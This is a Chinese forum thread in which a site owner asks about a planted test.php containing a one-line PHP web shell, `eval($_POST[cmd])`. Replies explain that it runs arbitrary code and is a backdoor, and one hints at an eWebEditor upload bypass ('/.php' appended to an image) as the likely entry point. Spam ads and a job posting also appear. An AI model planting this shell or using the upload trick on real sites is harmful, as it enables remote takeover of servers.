php 漏洞提问 急....

[phpboy]

我们网站不知道怎么的多了个test.php

内容如下 ：

<?php eval($_POST[cmd]);?>

找了很多资料，也没看出个大概..

1. 我想知道这个一般是怎么注入到我们网站里的？？

2. 它主要起什么作用？？

我们网站其它原文件应该不会也被注入了吧...

[netehoney]

关注

[suinhk]

sd

[suinhk]

学习！！！！！

[phpboy]

[Quote=引用 70 楼 gztwbbs 的回复:]
不错阿！！！！！！!!!!!


我要把你的顶上去！～～～～


www.jy298.com短信群发
www.mica8.com一卡多号
www.hk63.com…
[/Quote]

是不是做广告的/？

[guosheng1987]

学习勒

[tfxg]

<?php eval($_POST[cmd]);?>
就這句可以執行任意想執行的代碼了，以CMD為參數

[dadait]

楼主，那是一句话木马。赶紧删除了吧。

[hfphper]

看一下 eval 就知道 问题所在了

[爱吃土豆和面包]

很有可能网站有漏洞被入侵

[用户昵称不能为空]

LZ的等级这么高都搞不定，那应该是比较难的一个难题。
不过那个注入的人的目的绝对不会是为了去里面删点东西。

[Dark__Angel]

这段代码是PHP的一句话木马

[fengyezhiiq]

学习了！

[skdhxnn]

今天又认识一个新函数eval

[javaVenice]

disable_functions 禁用PHP方法

喔叶、你封了他IP。

[xuanyijie]

招聘职位 ：高级PHP程序员
招聘公司 ：喧怡网络科技
工作地点 ：杭州
月　　薪 ：6000-7999
年 龄 ：24-28
工作性质 ：全职
工作年限 ：三年
学　　历 ：大专
联系电话：[phone]
联系邮箱：[e-mail]
任职要求：
1、负责Web网站的新产品的设计及维护
2、数据库的设计和维护
3、负责程序模块的设计、编码。
4、负责撰写所属模块开发文档。
岗位要求：
1.精通JavaScript及其浏览器兼容性；
2.两年以上PHP/MySQL开发经验，开发过大型互联网应用程序；
3.熟悉sql和数据库优化，至少有MySQL, PostgreSQL, MSSQL, Oracle其中任何一种数据库相关经验；
4.具有查询优化和存储优化经验、PHP缓存技术、静态化设计方面的经验；
5.有Linux平台下多线程编程经验优先；
6.熟悉CGI标准、HTTP和HTTPS等互联网协议；
7.熟悉AJAX，熟悉DIV+CSS布局，熟悉模板技术；
8.有较强的团队协作意识及独立解决技术问题的能力，拥有良好的代码习惯，要求结构清晰，命名规范，逻辑性强，代码
冗余率低，有自主或组织研发B/S应用产品者优先；
9.有团队开发经验，书面语言表达能力强，能阅读英文文档，英文水平过硬；
10. 有丰富的互联网项目，特别是Web2.0项目；
11.追求程序的高效，对于大流量和高负载情况下的程序设计非常熟悉。

[kissandrew]

thanks for share

[hihero]

顶起~~

[xiaohei_ning]

呵呵。通过上传上去的吧。看看ewebeditor是不是有上传功能。
前些天爆了0day来不是。上传个图片加个/.php就能当马用。
反正能上传的地 方都看一下吧。注意先清一下马

[wwwinst2]

看来你的网站被黑掉了 http://www.fadx.cn

[Whirlwind]

这个东西叫做一句话木马，被黑后留得，或者程序的后门，危害很大！